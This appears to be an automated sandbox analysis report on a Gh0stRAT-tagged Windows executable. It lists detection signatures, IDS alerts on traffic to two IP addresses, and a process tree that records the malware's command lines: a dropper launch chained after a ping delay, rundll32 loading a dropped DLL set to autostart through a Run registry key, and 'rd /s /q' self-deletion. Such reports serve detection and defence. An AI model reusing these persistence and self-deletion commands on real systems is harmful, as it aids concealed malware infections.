Edit tour

Windows Analysis Report
nt11qTrX4f.exe

Overview

General Information

Sample name:	nt11qTrX4f.exe renamed because original name is a hash value
Original sample name:	053a2c39045f97fd449d4ff77a323f6fae8af944814cf85250fc52be3147bab2.exe
Analysis ID:	1573197
MD5:	1e399fb89a283bd6bb2c1acade5bfe5a
SHA1:	31eb15105c302052e16161e42568d39a73301064
SHA256:	053a2c39045f97fd449d4ff77a323f6fae8af944814cf85250fc52be3147bab2
Tags:	104-21-50-174exeGh0stRATuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to infect the boot sector

Creates an autostart registry key pointing to binary in C:\Windows

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries disk data (e.g. SMART data)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Abnormal high CPU Usage

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

nt11qTrX4f.exe (PID: 5852 cmdline: "C:\Users\user\Desktop\nt11qTrX4f.exe" MD5: 1E399FB89A283BD6BB2C1ACADE5BFE5A)

cmd.exe (PID: 2584 cmdline: cmd.exe /c ping 127.0.0.1 -n 2&c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4408 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

wlbldvv.exe (PID: 1412 cmdline: c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe" MD5: C810480BB654EEE12B794A26504733C6)

rundll32.exe (PID: 5492 cmdline: c:\windows\system32\rundll32.exe "c:\xrzyhhhnk\uycmiha.dll",init c:\wlbldvv.exe MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 380 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\xrzyhhhnk\uycmiha.dll",init MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 2364 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3448 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

rundll32.exe (PID: 5036 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\xrzyhhhnk\uycmiha.dll",init MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 3176 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3208 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: c:\windows\SysWOW64\rundll32.exe "c:\xrzyhhhnk\uycmiha.dll",init, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 5492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EvtMgr

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:25:21.768778+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49760	202.108.0.52	80	TCP
2024-12-11T16:25:24.500256+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49783	202.108.0.52	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	55132	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58515	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64618	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65434	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60748	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64945	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59071	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52865	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61785	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58867	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49214	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61654	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53913	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54089	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56768	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60194	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61096	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64503	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58066	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64507	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58062	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65050	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61582	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51770	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60128	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51769	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58739	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61250	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	57925	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63076	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64687	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51799	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64881	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51668	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64884	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53786	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56639	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61253	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64800	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59341	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58058	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61296	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52654	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59142	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65455	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59278	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49366	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63071	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53933	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61224	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60387	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51287	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63169	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60991	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64505	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59959	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63052	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53964	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58064	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51765	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63057	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64807	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58209	107.163.241.232	12354	TCP
2024-12-11T16:25:18.524847+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49728	107.163.241.232	12354	TCP
2024-12-11T16:25:18.540758+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49729	107.163.241.232	12354	TCP
2024-12-11T16:25:20.908814+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49745	107.163.241.232	12354	TCP
2024-12-11T16:25:20.911411+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49746	107.163.241.232	12354	TCP
2024-12-11T16:25:22.678750+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49766	107.163.241.232	12354	TCP
2024-12-11T16:25:22.678811+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49764	107.163.241.232	12354	TCP
2024-12-11T16:25:24.934602+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49780	107.163.241.232	12354	TCP
2024-12-11T16:25:25.067327+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49782	107.163.241.232	12354	TCP
2024-12-11T16:25:26.746730+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49801	107.163.241.232	12354	TCP
2024-12-11T16:25:26.746782+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49798	107.163.241.232	12354	TCP
2024-12-11T16:25:29.001765+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49814	107.163.241.232	12354	TCP
2024-12-11T16:25:29.126404+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49816	107.163.241.232	12354	TCP
2024-12-11T16:25:31.391594+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49842	107.163.241.232	12354	TCP
2024-12-11T16:25:31.580672+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49846	107.163.241.232	12354	TCP
2024-12-11T16:25:33.240716+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49867	107.163.241.232	12354	TCP
2024-12-11T16:25:33.240938+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49870	107.163.241.232	12354	TCP
2024-12-11T16:25:35.470358+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49888	107.163.241.232	12354	TCP
2024-12-11T16:25:35.578975+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49891	107.163.241.232	12354	TCP
2024-12-11T16:25:37.256091+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49916	107.163.241.232	12354	TCP
2024-12-11T16:25:37.256203+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49914	107.163.241.232	12354	TCP
2024-12-11T16:25:39.500437+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49932	107.163.241.232	12354	TCP
2024-12-11T16:25:39.736317+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49938	107.163.241.232	12354	TCP
2024-12-11T16:25:41.383140+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49966	107.163.241.232	12354	TCP
2024-12-11T16:25:41.383189+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49959	107.163.241.232	12354	TCP
2024-12-11T16:25:43.626671+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49983	107.163.241.232	12354	TCP
2024-12-11T16:25:43.735532+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49985	107.163.241.232	12354	TCP
2024-12-11T16:25:45.396600+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50011	107.163.241.232	12354	TCP
2024-12-11T16:25:45.396609+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50014	107.163.241.232	12354	TCP
2024-12-11T16:25:47.657437+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50034	107.163.241.232	12354	TCP
2024-12-11T16:25:47.798358+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50036	107.163.241.232	12354	TCP
2024-12-11T16:25:49.521670+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50065	107.163.241.232	12354	TCP
2024-12-11T16:25:49.521843+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50062	107.163.241.232	12354	TCP
2024-12-11T16:25:51.752768+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50085	107.163.241.232	12354	TCP
2024-12-11T16:25:51.876662+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50087	107.163.241.232	12354	TCP
2024-12-11T16:25:53.521843+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50113	107.163.241.232	12354	TCP
2024-12-11T16:25:53.521843+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50115	107.163.241.232	12354	TCP
2024-12-11T16:25:55.751876+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50135	107.163.241.232	12354	TCP
2024-12-11T16:25:55.876361+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50137	107.163.241.232	12354	TCP
2024-12-11T16:25:57.537255+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50167	107.163.241.232	12354	TCP
2024-12-11T16:25:57.537287+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50165	107.163.241.232	12354	TCP
2024-12-11T16:25:59.767197+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50189	107.163.241.232	12354	TCP
2024-12-11T16:25:59.907607+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50192	107.163.241.232	12354	TCP
2024-12-11T16:26:01.653056+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50219	107.163.241.232	12354	TCP
2024-12-11T16:26:01.653108+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50223	107.163.241.232	12354	TCP
2024-12-11T16:26:04.020658+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50239	107.163.241.232	12354	TCP
2024-12-11T16:26:04.220845+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50246	107.163.241.232	12354	TCP
2024-12-11T16:26:06.019870+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50276	107.163.241.232	12354	TCP
2024-12-11T16:26:06.019881+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50268	107.163.241.232	12354	TCP
2024-12-11T16:26:08.267201+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50299	107.163.241.232	12354	TCP
2024-12-11T16:26:08.393608+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50304	107.163.241.232	12354	TCP
2024-12-11T16:26:10.037060+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50337	107.163.241.232	12354	TCP
2024-12-11T16:26:10.037117+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50340	107.163.241.232	12354	TCP
2024-12-11T16:26:12.280935+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50371	107.163.241.232	12354	TCP
2024-12-11T16:26:12.407891+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50374	107.163.241.232	12354	TCP
2024-12-11T16:26:14.163050+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50412	107.163.241.232	12354	TCP
2024-12-11T16:26:14.163084+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50415	107.163.241.232	12354	TCP
2024-12-11T16:26:16.394995+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50447	107.163.241.232	12354	TCP
2024-12-11T16:26:16.552594+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50452	107.163.241.232	12354	TCP
2024-12-11T16:26:18.297820+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50497	107.163.241.232	12354	TCP
2024-12-11T16:26:18.297984+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50502	107.163.241.232	12354	TCP
2024-12-11T16:26:20.534611+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50536	107.163.241.232	12354	TCP
2024-12-11T16:26:20.673580+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50539	107.163.241.232	12354	TCP
2024-12-11T16:26:22.287858+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50590	107.163.241.232	12354	TCP
2024-12-11T16:26:22.287951+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50594	107.163.241.232	12354	TCP
2024-12-11T16:26:24.533284+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50640	107.163.241.232	12354	TCP
2024-12-11T16:26:24.676570+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50644	107.163.241.232	12354	TCP
2024-12-11T16:26:26.412550+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50714	107.163.241.232	12354	TCP
2024-12-11T16:26:26.412617+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50708	107.163.241.232	12354	TCP
2024-12-11T16:26:28.644612+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50772	107.163.241.232	12354	TCP
2024-12-11T16:26:28.814708+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50776	107.163.241.232	12354	TCP
2024-12-11T16:26:30.553081+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50851	107.163.241.232	12354	TCP
2024-12-11T16:26:30.553283+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50841	107.163.241.232	12354	TCP
2024-12-11T16:26:32.912592+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50945	107.163.241.232	12354	TCP
2024-12-11T16:26:32.972579+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50952	107.163.241.232	12354	TCP
2024-12-11T16:26:34.553614+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51063	107.163.241.232	12354	TCP
2024-12-11T16:26:34.553826+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51069	107.163.241.232	12354	TCP
2024-12-11T16:26:36.800576+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51154	107.163.241.232	12354	TCP
2024-12-11T16:26:36.940480+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51166	107.163.241.232	12354	TCP
2024-12-11T16:26:38.682759+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51291	107.163.241.232	12354	TCP
2024-12-11T16:26:38.682849+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51301	107.163.241.232	12354	TCP
2024-12-11T16:26:40.924539+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51401	107.163.241.232	12354	TCP
2024-12-11T16:26:41.177176+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51414	107.163.241.232	12354	TCP
2024-12-11T16:26:42.880908+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51533	107.163.241.232	12354	TCP
2024-12-11T16:26:42.881026+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51548	107.163.241.232	12354	TCP
2024-12-11T16:26:45.112588+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51639	107.163.241.232	12354	TCP
2024-12-11T16:26:45.404513+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51649	107.163.241.232	12354	TCP
2024-12-11T16:26:47.021428+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51788	107.163.241.232	12354	TCP
2024-12-11T16:26:47.021449+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51772	107.163.241.232	12354	TCP
2024-12-11T16:26:49.252248+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52165	107.163.241.232	12354	TCP
2024-12-11T16:26:49.518333+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52286	107.163.241.232	12354	TCP
2024-12-11T16:26:51.164088+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54505	107.163.241.232	12354	TCP
2024-12-11T16:26:51.164089+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54230	107.163.241.232	12354	TCP
2024-12-11T16:26:53.404785+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56345	107.163.241.232	12354	TCP
2024-12-11T16:26:53.581051+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56391	107.163.241.232	12354	TCP
2024-12-11T16:26:55.303111+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	57204	107.163.241.232	12354	TCP
2024-12-11T16:26:55.303156+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	57387	107.163.241.232	12354	TCP
2024-12-11T16:26:57.536926+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58099	107.163.241.232	12354	TCP
2024-12-11T16:26:57.659854+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58179	107.163.241.232	12354	TCP
2024-12-11T16:26:59.318494+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59753	107.163.241.232	12354	TCP
2024-12-11T16:26:59.318719+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59835	107.163.241.232	12354	TCP
2024-12-11T16:27:01.560407+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60912	107.163.241.232	12354	TCP
2024-12-11T16:27:01.678467+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61004	107.163.241.232	12354	TCP
2024-12-11T16:27:03.334214+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	62581	107.163.241.232	12354	TCP
2024-12-11T16:27:03.334602+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	62583	107.163.241.232	12354	TCP
2024-12-11T16:27:05.582239+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63454	107.163.241.232	12354	TCP
2024-12-11T16:27:05.690188+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63492	107.163.241.232	12354	TCP
2024-12-11T16:27:07.349982+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65033	107.163.241.232	12354	TCP
2024-12-11T16:27:07.349983+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65127	107.163.241.232	12354	TCP
2024-12-11T16:27:09.596216+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50256	107.163.241.232	12354	TCP
2024-12-11T16:27:09.705877+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50430	107.163.241.232	12354	TCP
2024-12-11T16:27:11.408699+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52266	107.163.241.232	12354	TCP
2024-12-11T16:27:11.409716+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52169	107.163.241.232	12354	TCP
2024-12-11T16:27:13.642068+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52676	107.163.241.232	12354	TCP
2024-12-11T16:27:13.863219+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52682	107.163.241.232	12354	TCP
2024-12-11T16:27:15.552697+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53560	107.163.241.232	12354	TCP
2024-12-11T16:27:15.554294+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53566	107.163.241.232	12354	TCP
2024-12-11T16:27:17.784768+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54654	107.163.241.232	12354	TCP
2024-12-11T16:27:17.909240+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54806	107.163.241.232	12354	TCP
2024-12-11T16:27:19.572320+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56590	107.163.241.232	12354	TCP
2024-12-11T16:27:19.572400+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56588	107.163.241.232	12354	TCP
2024-12-11T16:27:21.813201+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	57783	107.163.241.232	12354	TCP
2024-12-11T16:27:21.925533+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	57847	107.163.241.232	12354	TCP
2024-12-11T16:27:23.691008+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58950	107.163.241.232	12354	TCP
2024-12-11T16:27:23.691008+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58774	107.163.241.232	12354	TCP
2024-12-11T16:27:25.924813+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59714	107.163.241.232	12354	TCP
2024-12-11T16:27:26.052459+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59730	107.163.241.232	12354	TCP
2024-12-11T16:27:27.709445+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60990	107.163.241.232	12354	TCP
